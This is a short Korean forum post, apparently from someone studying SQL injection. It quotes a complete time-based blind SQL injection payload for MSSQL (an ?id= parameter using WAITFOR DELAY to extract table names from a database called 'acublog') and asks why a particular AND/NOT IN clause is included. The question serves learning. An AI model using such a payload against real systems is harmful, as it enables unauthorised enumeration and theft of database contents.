?id=IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM acublog..sysobjects INNER JOIN acublog..sysusers ON acublog..sysobjects.uid = acublog..sysusers.uid WHERE acublog..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name NOT IN (SELECT TOP 0 acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name FROM acublog..sysobjects INNER JOIN acublog..sysusers ON acublog..sysobjects.uid = acublog..sysusers.uid WHERE acublog..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name) ORDER BY acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name),1,1))>64) WAITFOR DELAY '0:0:5'--


이게 쿼리 인데요...... 다른 부분 다 이해 하겠는데 AND acublog..sysusers.name+CHAR(46)+acublog..sysobjects.name 

이부분을 왜 넣는거죠 ?

빼면 에러고 or로 바꾸면 다른 값나오고 char(46)이게 . 인데 

47로 해도 같은 값 나오고...


sql injection 공부하는데...  저부분 너무 이해가 안 가요...

and 왜... 넣는거죠


참고로 테이블 이름 찾아 내는 쿼리입니다...